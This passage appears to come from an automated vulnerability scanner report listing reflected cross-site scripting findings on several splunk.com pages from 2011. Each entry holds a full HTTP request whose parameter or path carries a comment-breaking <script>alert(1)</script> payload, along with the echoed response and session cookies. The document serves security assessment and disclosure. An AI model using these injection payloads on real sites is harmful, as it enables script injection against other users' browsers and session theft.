Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:14:38 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 0ac66c375a4f849598c19dc25f4acd241296944080
Last-Modified: Sat, 05 Feb 2011 22:14:40 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 28398

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>4d98f9bfc83=1 -->
...[SNIP]...

4.543. http://www.splunk.com/view/contact-us/SP-CAAAAH7 [r parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/contact-us/SP-CAAAAH7

Issue detail

The value of the r request parameter is copied into an HTML comment. The payload d8695--><script>alert(1)</script>7007743a73 was submitted in the r parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/contact-us/SP-CAAAAH7?r=headerd8695--><script>alert(1)</script>7007743a73 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:14:36 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 93c1171c056a38de867c346a0f51a4301296944077
Last-Modified: Sat, 05 Feb 2011 22:14:37 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 28413

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>7007743a73 -->
...[SNIP]...

4.544. http://www.splunk.com/view/customer-case-studies/SP-CAAABB2 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/customer-case-studies/SP-CAAABB2

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 9e3ec--><script>alert(1)</script>b7fae0382cf was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view9e3ec--><script>alert(1)</script>b7fae0382cf/customer-case-studies/SP-CAAABB2 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:16:33 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:46:33 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:46:33 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18419

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>b7fae0382cf/customer-case-studies/SP-CAAABB2 -->
...[SNIP]...

4.545. http://www.splunk.com/view/customer-case-studies/SP-CAAABB2 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/customer-case-studies/SP-CAAABB2

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 1d313--><script>alert(1)</script>44c48757134 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/customer-case-studies1d313--><script>alert(1)</script>44c48757134/SP-CAAABB2 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:17:05 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:47:05 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:47:05 GMT; path=/
ETag: 5aecfdbf3d27d5a88ca8e4a82f0a45401296944225
Last-Modified: Sat, 05 Feb 2011 22:17:05 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18419

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>44c48757134/SP-CAAABB2 -->
...[SNIP]...

4.546. http://www.splunk.com/view/customer-case-studies/SP-CAAABB2 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/customer-case-studies/SP-CAAABB2

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload 9ffc9--><script>alert(1)</script>7a46f80782 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/customer-case-studies/SP-CAAABB29ffc9--><script>alert(1)</script>7a46f80782 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:17:41 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:47:41 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:47:41 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18415

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>7a46f80782 -->
...[SNIP]...

4.547. http://www.splunk.com/view/customer-case-studies/SP-CAAABB2 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/customer-case-studies/SP-CAAABB2

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 5a778--><script>alert(1)</script>b2b3382716a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/customer-case-studies/SP-CAAABB2?5a778--><script>alert(1)</script>b2b3382716a=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:15:53 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 36148

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>b2b3382716a=1 -->
...[SNIP]...

4.548. http://www.splunk.com/view/developers/SP-CAAAFR3 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/developers/SP-CAAAFR3

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 453a5--><script>alert(1)</script>afa9000f934 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view453a5--><script>alert(1)</script>afa9000f934/developers/SP-CAAAFR3 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:16:18 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:46:18 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:46:18 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18375

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>afa9000f934/developers/SP-CAAAFR3 -->
...[SNIP]...

4.549. http://www.splunk.com/view/developers/SP-CAAAFR3 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/developers/SP-CAAAFR3

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 73184--><script>alert(1)</script>72c4099209d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/developers73184--><script>alert(1)</script>72c4099209d/SP-CAAAFR3 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:16:46 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:46:46 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:46:46 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18375

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>72c4099209d/SP-CAAAFR3 -->
...[SNIP]...

4.550. http://www.splunk.com/view/developers/SP-CAAAFR3 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/developers/SP-CAAAFR3

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload c16b9--><script>alert(1)</script>b3aad6c14e7 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/developers/SP-CAAAFR3c16b9--><script>alert(1)</script>b3aad6c14e7 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:17:20 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:47:20 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:47:20 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18375

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>b3aad6c14e7 -->
...[SNIP]...

4.551. http://www.splunk.com/view/developers/SP-CAAAFR3 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/developers/SP-CAAAFR3

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 2871d--><script>alert(1)</script>538c614736d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/developers/SP-CAAAFR3?2871d--><script>alert(1)</script>538c614736d=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; 